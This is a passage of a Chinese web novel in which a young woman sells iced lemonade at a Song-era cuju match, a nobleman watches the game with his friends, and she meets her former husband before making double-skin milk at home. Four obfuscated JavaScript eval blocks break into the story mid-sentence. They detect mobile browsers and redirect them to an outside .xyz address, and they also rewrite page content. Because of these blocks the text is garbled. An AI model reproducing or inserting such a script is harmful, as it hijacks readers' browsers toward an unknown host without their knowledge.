“哎哟！”江清澜回过神来，一跺脚，赶紧搁下毛笔，往厨房那边跑，“锅里炖着羊肉汤呢！” 她们现在是阔起来了。 如今的油卤串串里添了肉食——牛肉串串、五花肉串串、鸡翅、鸭胗。利润也更高，每晚的净利能有七八钱银子。 加上“中彩票”剩下的三十八两、之前赚的三四两，抛开这些日子的花销，也还有三十多两的积蓄。 故而，她们顿顿能吃上肉。今天晚上的，就是白萝卜羊肉汤。 两姐妹赶紧把柴块抽出来、踩熄，掀开锅盖一看，哪里还有汤，白萝卜都烧得黢黑了。 羊肉倒经烧，一块块、一坨坨，还有点儿肉样儿。 团团瘪嘴：“肉啊，可惜了。” 江清澜咬牙：“没事，我们还可以做羊肉串！” 羊汤直接变烧烤。 江清澜把大块羊肉切小，将肉瘦肥间杂地穿在竹签子上，在小炭火上不停翻转。 很快，羊肉串烤得滋滋响，又冒油来又冒烟。 江清澜适时地撒上一把孜然、茱萸粉，让每一块肉均匀地蘸满。 团团拿起一串，鼻子凑上去，深深地吸口气：“啊——好香啊——” 整一串，再饮一口新调配的柠檬水，酸甜可口。团团已不用吩咐，早化身了饕餮…… —— 谢临川纵马跑得快。 到了财赋司时，司里已散了值，杨松正在锁门。 “杨郎君，且慢，”谢临川手里还握着乌油油的马鞭，猛的一指，“我还有个事儿。” 杨松这人胆子小，让那鞭子一指，吓得一哆嗦。 这言郎君半下午就跑出去了，他还以为他不回来了，谁知竟拿着马鞭回来。“言郎君……何……何事？” 谢临川侧身，与杨松擦肩而过后，一脚踹开大门，风一样的跑到墙角柜子处，乱翻一气。 杨松一个人在原地惴惴不安： 前几日，在中瓦江娘子的摊子前，他亲耳听到言郎君把那位女娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626226|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫“阿妹”，当场吓蒙了。 因他知道，那女娘不是别人，正是官家的嫡亲女儿，公主殿下。 那年宫里举行蹴鞠赛，他作为府署小吏，在外场配合禁军执法。不成想，迎面走来两个劲装女子。 一开始，她俩有说有笑的。可不知为甚，两个人很快拌起嘴来，最后竟然扭打在一起，一个把另一个头发抓掉一大把。 两名女娘都是拼了命的，身后的丫鬟拉也拉不住，还是他跑上去，把人给分开了。 这是一件小事，他转头就忘了，哪里知道，后来听府署里传流言，竟说是宝庆公主与福安公主打架，惹得官家生了好大的气。那……那不就是，他那天拉架的那两个女娘？杨松惊呆了。 只是，他分不清谁是宝庆公主，谁是福安公主。 那天晚上，言郎君又说公主是他阿妹，那他就是……就是……杨松的冷汗又要下来了。 正战战兢兢着，谢临川出来了，把一张纸拍在他胸口上：“杨郎君，明日、后日我想告两天假。这是假条，你看是否可行？” 临安府署的点卯制度颇为严格。 除了父丧、母丧，以及圣寿节、圣诞节[1]、元宵节等法定假日外，不可无故告假。 朝廷有专门的稽查队，隔三差五就来查缺卯人员，弄得基层官员们人心惶惶。 但那是理论上。规则是死的，人是活的，实际上怎样，还不是看人下菜。 “自然可行！”杨松点头哈腰，喏喏称是。 莫说是言郎君，这几天府署里告假的人很多，便是为了明后日火焰队、齐云社的决赛。 这可是民间蹴鞠赛里，最精彩的一场，获胜的队伍才可在皇宫里，与禁军蹴鞠队对决。 杨松擦擦额头上的汗，装模作样往假条上瞟了几眼。这一瞟，还真看出了不对： “言……言郎君，假条上缺个事由，不若就写……病假？” 谢临川龙精虎猛、人高马大，浑身有使不完的牛劲儿。 他若是病了，天下就没有健康的人了。 闻言，他哈哈一笑，露出雪白的牙齿：“好，就病假。” 说罢，他脸上挂着笑，风一样地走了。 到了门口，他又想起什么，扯下腰间的东西，远远地扔了过去，朗声道：“这个，送给你玩儿。” 杨松赶紧张开手去接，一股冰凉的触感。 张开手一看，他眼睛都直了：和田玉佩，价值百……百金！ 15. 冰爽柠檬水（二） 次日，早早吃了午饭，匆匆洗了碗，江清澜、团团就把东西收拾好，搬到了院门边。只等车夫上门。 蹴鞠赛共比三场，每天下午申时举行。从今天开始，连赛三天，第三天正好是休沐日。 江米巷到西山蹴鞠场，路程颇远，且这次，江清澜卖的是饮子。 陶盅、罐子、冰块等物料，非常重。 还有些纸幅、浆糊之类的，林林总总的，收拾出了几大筐。 靠脚力是走不去了，她昨日便在马车行租了车。与车夫说好了，午后上门。 刚到未时，车夫就上门了，是个二十来岁的年轻汉子，唤作陈四儿。 此人嘴巴很甜，见她们都把东西搬出来了，就笑道： “哟，二位娘子辛苦了。明日就放院子里好了，我来搬。” 江清澜道：“既如此，明日给你加十文钱。” 陈四儿做老了生意的，这样说就是嘴上客气。哪知，这女娘如此大方，竟直接加了钱。 他高兴得什么似的，一连说了三个好字，三两下，就把东西搬上了车。 坐了半个时辰的马车，到了西山蹴鞠场，陈四儿把东西搬到摊子上便走了。 江清澜两姐妹开始布置摊位。 先把陶盅一个个摆好，这里面装的是兑好了的柠檬水，只没有加冰。到客人买时现加，冰化得慢，爽劲儿才十足。 这样一盅，卖五文钱。 再摆些小瓷杯子，这是给顾客试喝的样品，每个杯子上，还挂了一片小小的柠檬。 纯净的黄，配上加了冰渣的汁水，光是一看，都舒爽沁人心脾。 再把她早前写的广告纸幅拿出来。刷了浆糊，贴在摊子两侧的柱子上，以及顶部的檐下。 如此，柠檬饮子摊，就初具规模了。 她们摊子旁边，是个卖西瓜子儿的老叟，并一个中年汉子。他家瓜子是祖传的秘方，最是香浓。 他们卖了十几年，有口碑了，才能在蹴鞠场里，与主办方的瓜子儿一争高下。 老叟最喜欢闲聊，他不认字儿，见她摊子上花花绿绿的，好奇道：“小娘子，你这写的是啥？” 江清澜端了两杯过去，与他父子二人： “阿翁，郎君，我摊子上写的是‘好喝’。不信你们尝尝，不要钱。” 她给老叟的那杯无冰，给中年汉子的却加了冰。 老叟一喝，捂住了脸：“哎哟，牙酸。”但他也不得不承认，酸中回甜，确实好喝。 中年汉子不像他爹热情，沉默寡言，喝了后面无表情，但立即花了五文钱，买了一盅。 他不买才怪！ 江清澜早看准了，这人才把一干物什拉过来，累得气喘吁吁、热得满头大汗。这一杯加冰的酸甜柠檬水下去，暑气都消了。 第一单生意就这样成了。 江清澜又与他解释：“郎君，我这饮子还有些特别的效力。劳动后体乏，多饮用一些，可快速恢复精力。” 中年汉子点点头，也不搭话，又出蹴鞠场拉货去了。 江清澜便知，他这人套不出话来。 时间还早，蹴鞠场里客人不算多，她也花了两文钱，买了些西瓜子儿，与那老叟闲磕牙。 老年人寂寞呀，话多得很，当下拉拉杂杂的，把这蹴鞠场的事儿说了个遍。 什么哪一年修的、背后的金主是谁、齐云社球头是谁，颠三倒四地摆谈。 江清澜把话题拉回来： “阿翁卖瓜子儿这么多年了，没想过与主办方供货？这样，也免得出来摆摊晒太阳了。” “他们？”老叟嗤笑，“跟他们供货，价压得低，吃得你骨头都不剩。我自己卖，卖多卖少都是自己的。” 江清澜便知，做供应商这一条路是走不通了。 老叟道：“话说回来，咱们能卖几个钱？不过糊口罢了。” 他一指蹴鞠场西边那些雕梁画栋：“若是像丰乐楼一般，把饮食卖给那里边儿的人，那才赚钱。” 除开皇家蹴鞠场，西山蹴鞠场就是临安最豪奢的运动场。老叟所指的西边，修了不少高楼。 最有名者为风云楼，其中遍设豪奢包厢，便是为着王侯公子观看比赛的。 太阳光有些刺眼，江清澜看向风云楼，不免眯起了眼睛…… —— 风云楼，三楼绿茵阁，谢临川推门而入。 阁内，肉香酒香弥漫，莺莺燕燕笑闹。见他来了，众女都停了手中杯盏。 朱明一左一右搂着两个妓.女，有了些醉意，笑道：“流光[1]快来，好的都给你留着呢。” 陈跃身侧也有妓.女陪坐：“流光，自你去了临安府署，咱们哥儿几个好久没聚了。” 朱明之父，乃从二品金吾卫上将军朱从达，朱明如今在大理寺挂了个闲职。 陈跃乃正三品翰林学士承旨刘清之子，今年春天方中举，还未授官。 临安城中，高官子弟间从不缺酒肉朋友。 这二人与谢临川一般，都酷爱蹴鞠，天长日久，三个人就混在一起了。 “我这不是来了。”谢临川把马鞭丢在桌上，一屁.股倒在圈椅里，端起酒盏，仰头就是一口。 饮罢，他对陈跃笑道： “等你做了官，便知点卯他娘的有多烦人了。” “省的、省的，”朱明深有体会，嘻嘻一笑，“来看蹴鞠，别提那些烦心的事儿。” 说罢，一把拍在左边那美貌妓.女的肩膀上。 “去。” 妓.女会意，起身为谢临川倒酒：“奴来伺候世子爷。”面含粉霞，身子柔若无骨，便要倒在他怀里。 谢临川皱眉，以脚发力，身子连着椅子往旁边一挪： “你没长骨头吗？” 妓女倒了个空，腰正好戳在圈椅的木柄上，疼得龇牙咧嘴。听他不悦，忙扑通跪下，浑身瑟瑟发抖。 “哎哟，”朱明打圆场，“知你谢流光爱干净。敏敏可是个清倌儿，我花了大价钱的。” 陈跃道：“你道谁都跟你一样，就好那点子事儿。流光的家教严得很。” “乖乖，不怕，”朱明向敏敏招手，“谢世子与你闹着玩儿呢。”敏敏擦擦泪，爬起来，又倒在朱明怀里。 谢临川没心思关心这些。女人——无论是宝庆公主，还是这些莺莺燕燕，在他心里，就等于一个“烦”字。 当下别过头，去看场上。 比赛开始不过一刻钟，已见了端倪。 火焰队技如其名，擅长猛攻猛打，尤其球头李正，是出了名的神射手。捅.射、垫.射、抽.射、推.射无一不精。 但见场中一着红衣者，戴银色面具，左奔右突，速度极快。只可惜，他始终被三名蓝衣人围着，无法控球。 陈跃喃喃道：“齐云社竟用三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631571|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来防李正。” 时下的蹴鞠场不如现代的大，各方队员都是六人，且没有守门员。齐云社用了三个人防李正，剩下的便只有三人了。 朱明吞下娇娇递上来的葡萄，还在她手上亲了一口，舍不得把色.眯.眯的眼睛从她胸.脯上移开： “不用三个人防怎么办？让李正射门，一场能进八个球。” 但齐云社也有优势，便是力量均衡。反观火焰队，李正风头太胜，其他队员就逊色了。 一旦李正被防住，火焰队的实力就大打折扣。 娇娇捂嘴笑，娇滴滴地道： “哪个队要赢啊？郎君们说呀说的，也不漏个口风。那关朴，奴家都不知买什么了。” 陈跃摇头：“不好说，齐云社着实防得滴水不漏。”看着场上的风起云涌，忽的皱眉，看向谢临川，“这竟是……” 谢临川紧盯场上局势，许久未开口，此时才道：“无锋阵型。” 闻言，连朱明也推开娇娇、敏敏，站起来看。 “齐云社竟秘密训练了这种失传的阵型，怕是专为防李正的吧。” 蹴鞠队员的设置中，依进攻到防守的顺序，一般分为前锋、中场和后卫。 无锋阵型中却没有前锋，相当于减少了进攻，为着将更多力量用于防守。 齐云社用这种阵型有个好处，那便是拖。拖到火焰队的主力李正精疲力竭，他们再改换其他阵型，冲刺进攻。 朱明看明白了，当下一拍大腿，把两锭银子丢在娇娇的酥.胸上： “我赌齐云社赢。这一百两，你去帮我买关朴！” “奴家遵命！”娇娇笑得合不拢嘴，忙去门边唤过小丫鬟，自己又添了十两银子，低声道，“买齐云社赢。” 又踢了许久，双方一个猛攻猛打，一个防守滴水不漏，竟还是零比零。锣声响起，上半场结束，双方队员要休息一刻钟。 这时候，陈跃笑道： “正则[2]，话别说那么早。齐云社这种打法，倒是防住了李正，但要耗费更多人的体能。也许没把李正拖下场，他们自己先累趴下了。” 这个时代，运动医学不发达，比赛中别说累趴下，跑得猝死的都有。 朱明：“这……”又看向谢临川，“流光，你倒是说句话呀。” 谢临川平日最是嬉笑怒骂，此时倒是严肃。闻言，他道：“便是赢了关朴，能得几个钱，你还在乎这个？” 朱明：“不为钱，就为个乐子。” 谢临川：“既是乐子，依自己的判断赢了，岂不是更乐？”说罢，出了绿茵阁，下楼去了。 朱明一脸无辜，看向陈跃：“他……他吃了火药了？” 陈跃看向敏敏，哈哈大笑，幸灾乐祸：“谁让你给他点妓.女的。” 朱明：“……” 时近六月，天气已热，包厢里脂粉味浓重，闻得人气闷。 谢临川下了楼，外面虽也热烘烘的，但好歹有些风。 他绕着场地走了一圈，从各个角度观察了一下双方的阵型变化。 走到东北角时，闻得一道女声，清朗如珠落玉盘、风吹檐铃： “除开戴银色面具人那里，齐云社剩下的三个人，要对决火焰队的五个人。这多累啊。若是此时，火焰队换个厉害的上来，岂不是必胜？” 谢临川心中一震。 因她所说，正是他所想。 16. 冰爽柠檬水（三） 女娘这话若叫陈跃、朱明听见，只会被嘲笑外行。 因为蹴鞠赛中，参赛队员的名字会被提前公布。 有专门的情报员们去收集对手的资料，以布局应对。 蹴鞠比赛进行了这么多年，厉害的球员来来回回就那些。 隐藏多年，继而一鸣惊人的奇兵也不是没有，但极少。 火焰队如果有厉害的奇兵，直接与李正联手，一场就定了胜负。没必要等到后面。 上面说的是常理，但谢临川总觉得不对劲。李正是明晃晃的靶子，齐云社一定会派多人来防，火焰队不可能没有准备。 一边想着，转了角，迎面一横两竖三幅大字撞入眼帘： 冰爽柠檬水。 补充强劲活力，射门充满能量。 恰此时，一股风吹来，拂过面颊时竟然真的有丝丝冰凉之气。 那个眼睛清亮的女娘，正弯着腰，笑盈盈地与小女娘说话。 竟是江娘子？ 谢临川愕然。反应过来后，冷哼了一声。 不是说受了伤，不能弯腰吗？这不是弯得好好的？！ 又想起她关于蹴鞠的那番话，只觉好奇。 这一好奇，就仔细地打量了她一番。 两个女娘皆着茶白窄袖短衫、浅绿百迭裙，头上簪着浅绿的绒花。 这一身打扮说不上华贵，却颇清丽。且一大一小两人，均着一样的服饰，让人眼前一新。 再看她那摊子，一大桶冰放在前面，散发着幽幽凉气——无怪乎，方才他觉得风中有凉意。 除了那句广告语，摊子各处还贴了些大字： 好喝！好喝！好喝！爽！爽！爽！ 谢临川莞尔一笑。 江娘子这个人很聪明。为了赚钱，很舍得花心思。 ——等等，方才她观察得那样仔细，难道是想在蹴鞠队身上赚钱？ …… 江清澜看见谢临川，眼睛一亮，殷勤地打招呼：“郎君，要尝尝柠檬水吗？” 她没忘了那五十两，这帅哥不仅帅，还是位财神爷。 谢临川正在沉思，闻言走到摊前。 他着竹月蓝襕衫，金簪束发，端的是金相玉质、贵气逼人。 方才摊边儿没几个人，此时见他这位贵人去询问了，也三三两两地往上围。 谢临川对周围的人视若无睹，没提方才听墙角的事儿，只瞧着柠檬水新奇，问： “这饮子跟射.门有什么关系？” 江清澜也不跟他提什么钾、钙、功能饮料，只说： “比赛到后期，人的精气神耗尽，妾这柠檬水便是补精养气的，可令人快速恢复体力。如此，射.门就更有力了。” 若是旁人，谢临川定要笑话他弄虚唬人。 但他见过了冰糖樱桃、油卤串串，当下便有些好奇，拿起一杯，啜了一口。 入口是凉，冰没有化尽，密匝匝的有些扎舌头。继而是酸，柠檬的酸中带着清爽，配合着冰，沁人心脾，使得暑气全消。 再来是甜与咸，淡淡的、浅浅的，回味十足。 到了此时，冰渣化尽了，凉意仍在唇齿间。 果然当得起“冰爽”二字！ 谢临川知道，禁军蹴鞠比赛时，太医也会配一些饮子。但那都是中药，绝对不好喝。 江清澜见他神色，又道：“郎君前夜买樱桃，预付了五十两银子。柠檬水随意取用就是。” 谢临川早忘了这事儿了，闻言，深深看了她一眼，粲然一笑：“你倒是会做生意。” 要了两盅柠檬水，一盅加冰，一盅不加，转身就要走。 “郎君，且慢。”江清澜追出来，“郎君是妾的贵客，敢问怎么称呼？” “我姓……”谢临川脱口欲出，又顿住了。 他想起平林说，她不愿入王府。又想起府署那个杨松，一见到他，就瑟瑟发抖。 世上有些人，是这般小家子习气的，见到大人物，舌头就捋不直。 想到江娘子也变成那样，他顿觉扫兴，当下改了口：“我姓言。” 江清澜叉手作礼：“言郎君，妾的摊子就在中瓦那边，欢迎郎君随时来。” 谢临川点点头，提着水盅走了。 回到绿茵阁，下半场比赛刚刚开始。 火焰队的李正被包抄，无法施展拳脚，到比赛快结束时，倒让齐云社进了一颗球。 局势立变，齐云社的关朴价大涨。 …… 谢临川三人离开风云楼。 都上了马了，谢临川想起一事儿，又登登登跑上楼，拎着个水盅下来。 朱明的关朴胜率变大，有些得意忘形。看那陶盅粗劣，他就笑道： “流光，你拎着什么宝贝？咱们去丰乐楼吃酒，还怕没有好饮子吗？” 谢临川不搭话，微微一笑，一鞭子抽在朱明的马屁.股上。 马儿嘶的一声往前猛冲。 朱明没有坐稳。在马上前仰后合、吱哇乱叫。 谢临川朗声大笑，早催马跑远了。 —— 赛事结束，江清澜收了摊，让车夫陈四儿来拉了东西回江米巷后，开始盘账。 柠檬水每盅五文钱，卖了几十盅。 刨去柠檬与糖盐的成本、冰费、车马费、笔墨纸的钱，剩下的有…… 团团掰着手指头数来数去，惊道： “不对呀，咱们今天辛苦一整天，才赚了二钱银子？” 前些日子，在中瓦卖油卤串串，每日的纯利有七八钱银子。今天走这么远的路、搬这么重的货，才赚了二钱。 团团想不通。 江清澜早有谋算，成竹在胸：“你且看着吧，大生意在后头呢。” 她最精准的目标人群是蹴鞠员，来买的有几个，但不多。这可以理解——大赛当前，对饮食，他们当然要小心。吃坏了肚子，可就糟了。 今天，她已经把招牌打出去了。 有几个蹴鞠员尝过。有一个姓高的郎君，还很感兴趣，在她摊子前拉拉杂杂地问了半天。 他一定会再来的。 果然，第二日，她们刚出了摊儿，三个蓝衣劲装青年拥了上来。 高郎君昨天来过了，熟门熟路，指着摊子上的瓶瓶罐罐道： “就是这个，柠檬水，好喝，还得劲儿！” 另一人道：“真的？” 端起小杯子喝了一口，眼睛蓦的睁大了。 高郎君露出得意之色：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634496|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看吧，我没骗你吧。” 怪的是，他走的时候，还恋恋不舍地多看了江清澜两眼。 …… 风云楼，绿茵阁。 “冰爽柠檬水”几个字着实是大，谢临川在三楼上都看得见。 昨日，他带了一盅回去。祖母赞好喝，忍着牙酸，硬把一盅喝光了，今天早上，就请了大夫看牙。 祖母真是…… 谢临川摇摇头，也不知该笑还是该忧，打定主意今天不买了。 一阵锣响，蹴鞠比赛开始了。 双方仍然是昨天的打法，猛攻对严防，上半场零比零结束。 下半场赛事，行进到中途，谢临川深思许久，忽问： “李正左边第二远那人是谁？” 他观察这人很久了，脚步稳健、姿势利落，却从没有去主动控球，像是在隐藏什么。 朱明、陈跃皆不认识：“是个替补吧？” 谢临川沉默不语。 那人正在中场，得了球。李正在其右边，为齐云社三人包围。 忽的，李正一个假动作，让左前方露出了空隙。 机会来了，正该替补传球！李正侧路冲锋！ 千钧一发之际，但见替补面朝右边李正的方向，眼神专注，飞起一脚。砰—— 球竟然被踢向了左边！ 在空中划过漫长的弧线，正正进入了风流眼！ 全场寂静。 接着，响起了排山倒海的欢呼声：“火焰队——火焰队——火焰队——” 朱明一把推开妓子，腾地站起来，蒙蒙然不知所以：“哎，这……这是怎么回事儿？” “他眼睛看着右边的李正，却把球踢进了左边的风流眼？”陈跃喃喃道，也惊呆了。 谢临川抱臂，勾起嘴角一笑：“此人乃火焰队的奇兵。李正都为他打了掩护。” 朱明忙唤了小厮上来：“快去查查，这人是谁。” —— 今日比赛，火焰队二比零，战胜齐云社。 这场蹴鞠赛采用计分制。 昨日齐云社进一球，今日火焰队两球。明日，火焰队只要再进一球，便胜了。而齐云社，要进三球才能胜。若是双方战平，亦是火焰队胜。 因为局势翻转，蹴鞠场外的四个关朴处，有人跺脚哈哈大笑，有人捶地哇哇大哭，一个个的，状若疯癫。 江清澜心里本来美滋滋的，听见这些人叽哩哇啦、又哭又笑，心中感慨：赌博害人！ 她家原来挺好的，就是她爸染上了赌瘾，家才散了的。 一边想一边收拾。今天柠檬水的销量与昨日差不多，但更多的蹴鞠员来买了，还有几个管事模样的人，来问了些话。 正收了陶盅，装在大木桶里，忽觉有些不对劲。 抬头一看，东北角的关朴处，有个身量很高的青年，着火焰队的红衣劲装，正凝视着自己。 他长相颇为清俊，眉宇间却笼罩着一股郁色。 江清澜不明所以，摸了摸自己的脸上，没沾着什么东西啊。 身下有人在拉自己的裙子，低头一看，团团瞪大眼睛，激动得口齿不清：“阿姐，陆……陆阿兄！” 江清澜心中一紧。 前夫哥。 17. 桃酱双皮奶 陆斐怔住了，心像在被钝刀慢慢割着。每呼吸一次，刀刃就更深半分。 无声地煎熬许久，他到底忍了下来，转身去了蹴鞠场后屋。 回了陆府，小厮砚生捧着个包袱跑来，兴奋地说： “郎君，这是火焰队今天给的银子，一千两。” 陆斐挥挥手，让交到后面账房去。 “叔父——”奶声奶气的，两个小男童在门外喊他。 门槛太高了，小童子们跨不进来，便匍匐下身子，从门外翻了进来。 他们一站定，就张开小胳膊，飞快地迈着小腿儿，扑进陆斐怀里。 陆斐莞尔，一边手搂住一个。 小家伙们将将两岁，正是淘气的时候。他们的眉眼，长得和兄长的——也和自己的极像。 “你们一身尘土，别把叔父衣裳弄脏了。”有妇人的声音跟随而来。 是陆府长媳张氏，扶着陆老夫人进了屋来。 陆斐与二人行礼：“母亲、嫂嫂。” 陆老夫人点了点头。 张氏却有些紧张，目光躲闪着，低着头回了礼：“叔叔。” 陆斐道：“嫂嫂不必担心，兄长会没事的。” 张氏脸色一僵，差点儿流下泪来。 幸而两个小童打了岔。他们见母亲来了，就去抱她的腿，一边一个，扭股糖似的，嘻嘻笑着。 陆老夫人使了个眼色，张氏立刻牵了两个小童下去，让陆斐母子二人说话。 陆老夫人忧心忡忡：“二郎，你今天去哪里了，散了值这么久才回家？” 陆斐帮火焰队蹴鞠这事儿，陆老夫人不知道，只当他心中烦闷，不想回家。又怕他一时想不开，做出什么事儿来。 陆斐道：“就在城里逛了逛，没去哪儿。” 陆老夫人叹气，索性挑明了： “我知道，你还在怪我逼你和离。只，母亲也是没有办法。你长兄被他上司害了，自身难保。这时候，咱们陆家再不能与江家扯上关系。” 前些日子，监察御史周廉抬棺上朝，掀出潭州珍珠贪腐案。 此事说来也简单。一个姓孟的广州商人前往北方贩卖珍珠，路过潭州时染病身亡。潭州大小官员就私昧下了珍珠。 不曾想，此事为孟姓商人的儿子发觉，经过几个御史的折子，给闹到临安来了。 承平帝立刻着户部调查，岂料涉事官员背景复杂。 户部秉着大事化小、小事化了的原则，轻判了几人，妄图把此事掩盖过去。 谁知，这御史里面有个不怕死的，叫周廉。他抬棺上朝，非要重查此事，闹得举国震动。 最后一通调查，户部把潭州涉事官员拉下马，又把根基最浅的左曹郎中陆昀推出去顶罪。 如今，陆昀还羁押在牢里。[1] 这么久以来，和离这件事虽人人心知肚明，却一直没有摆到面上来说。 如今，陆老夫人一提，陆斐面上虽沉静，心头却像有利刃在缓缓旋转。 他不由得深吸一口气。 “大大大，骑马马！骑马马，找娃娃！”奶声奶气的声音传来。大约，是两个小童子在外面骑竹马。 他们口齿不清，把“驾驾驾”说成了“大大大”。 陆斐瞥一眼窗外斑驳的竹枝，忍了片刻，到底抿着唇没说话。 陆老夫人又道： “夫妻本是同林鸟，大难临头各自飞。何况，你们一日夫妻也没做完。如今，还给了她和离书，算是仁至义尽了。” “你如今还年轻，以后还有大好的前程，母亲以后给你挑个更好的。千万别自伤自身，啊，以你的品格、相貌，不愁……” “母亲！”陆斐飞快地打断，两道英挺的长眉皱成一团，“别说这些了。我累了，您也快些安置吧。” 陆斐说罢，不管陆老夫人神色，撩起袍子就从后门去了庭廊。 陆老夫人正叹气，张氏从前院进来，低眉顺目道：“是我们让叔叔为难了。” 陆老夫人很喜欢她乖顺的模样，拍拍她的手：“一家人，说这么些话干吗。他姓陆，就要承担起陆家人的责任！” —— 黄昏时分，江清澜姐妹坐在马车上，往江米巷的家进发。 团团把手中的饭团吃完，仍然兴奋： “我就知道，陆阿兄不会厌弃我们的！阿姐，那会儿你拉着我干吗，我要去找他问个清楚！” 江清澜摇头。这陆家二郎，以前给妮子灌了什么迷魂汤？ 当下，她严肃道：“我们已经和离，再没关系，有什么好问的？” 团团：“不是的，我今天看见了，他很难过。他定是有苦衷的。” “便是当时有苦衷，怎么我们在外边飘零那么久，不见他来找？”江清澜今天铁了心的，要让小姑娘死心，句句扎心。 团团拧着眉，努力为他开脱： “或许是……或许是陆老夫人把他关起来了？你知道的，他家老夫人很厉害的。” “他有官身在，每日要去上值，如何能关起来？便是关起来了，送个信总行吧，找他的小厮送点儿钱也不难，怎的没送？” “今天偶然一见，他转身就走了，你还不明白吗？《孟子》曰：非不能也，实不为也。这句话，爹爹以前教过你的。” “这……”团团无言以对，金豆子吧嗒吧嗒掉了下来。 她吸吸鼻子，用手背奋力地在脸上一揩，坚决道： “我绝不相信陆阿兄是坏人。他的好，绝不是装出来的。爹爹和娘亲，也不会看走眼的。” 江清澜无语。问题是，现在就是看走眼了。 他陆斐，就算不是坏人，也决非良人。 见小姑娘要气急败坏了，她就不再争执，而是把人拉在怀里，软语安慰： “好好好，阿姐知道，陆二郎是好人。但他没能护住咱们，在阿姐这里，就已经过去的人了。” “再说了，咱们现在自己赚钱自己花，多好呀。何必再想他的事儿。” 她想了想，又道：“姐姐学会了一种甜品，叫作双皮奶，晚上就做给你吃。” 团团着实也累了，又伤伤心心地哭了一场。马车颠簸，让人容易打瞌睡，在江清澜的喁喁软语中，她睡着了。 回了家，江清澜把团团抱去了里间。 多亏了车夫陈四儿，他热心地把冰桶等重物搬到了厨房。 江清澜为此，还多付了十五文钱——比早上说的，还多了五文。 陈四儿走了，收拾规整后，江清澜开始做双皮奶。 如今有钱了，当然要喝牛乳。除了直接喝，做甜品，比如双皮奶，牛乳就是必不可少的。 把牛乳煮开，分在了四个小碗里晾凉，让每碗牛乳的表面都结上一层奶皮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642419|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在，江清澜要做的，是把这碗里的牛乳全部倒出来，却保留奶皮，让原本在表面的奶皮变成在碗底。 此谓“双皮奶”之“下皮”，香滑又顺口。 “下皮”做成，这道甜品已成功了一半。 再将晾凉的牛乳混入鸡蛋清、柠檬汁、白糖等物，搅拌过滤后，重新倒回四个小碗中即可。 最后，把四个碟子倒扣在碗上，入蒸屉蒸熟就好了。 四个小碗齐齐摆在厨房的桌子上。 蒸好的牛乳，从液体变成了膏状，又白又嫩，像婴儿的皮肤一般，吹弹可破。 因为才端出来，还在嘟嘟地抖动着。上面一层奶皮明显可见，与碗底的下皮形成呼应。 团团揉着眼睛走进厨房时，浓郁的奶香味儿，正和着水蒸气一起弥漫开。 她猛的吸了一口，精神为之一振，继而由衷感慨道： “好香啊，是牛乳的香，但更浓郁！” 站在灶边看缭绕白气中的奶冻子，她呆呆地说：“这得多好吃啊——” 江清澜正在捣桃子酱。见小姑娘已经忘了陆斐的事，她心里松口气，手上却没停。 要说双皮奶，还得配绵软的红豆，再不济，也得是香甜的芒果。 只可惜，处理红豆花费时间长，而芒果一时又买不到，都不好做。她便捣烂了桃子，做成了酱，铺在双皮奶上。 白生生、嫩嘟嘟的奶冻子上铺满淡红的桃子酱。端在手里，整块儿微微抖动着，几乎是吹弹可破。 团团用小勺子舀起一勺，滑入口中，眼睛登时亮了。 又吃了几勺，她才道：“阿姐，这……怎么比鸡蛋羹还好吃？” 哈哈，当然比鸡蛋羹好吃了，江清澜心道。 鸡蛋羹软滑香浓，但一则腥，要用小葱、香油来压味儿；二则不够细腻，火稍微一大，蒸出蜂窝眼儿来，就老了。 这个双皮奶，可是广东人民经过数年的研究，才有今天的滋味的。没有腥味儿、足够细腻滑嫩，还香浓十足。 另一个，光吃双皮奶，虽则香醇润滑，终究有点儿单调。 加了果酱，则酸酸甜甜，奶香中有甜，醇厚里有酸。实在是锦上添花。 吃这种双皮奶，就像在捏小娃娃的脸蛋儿——怎么也不腻。 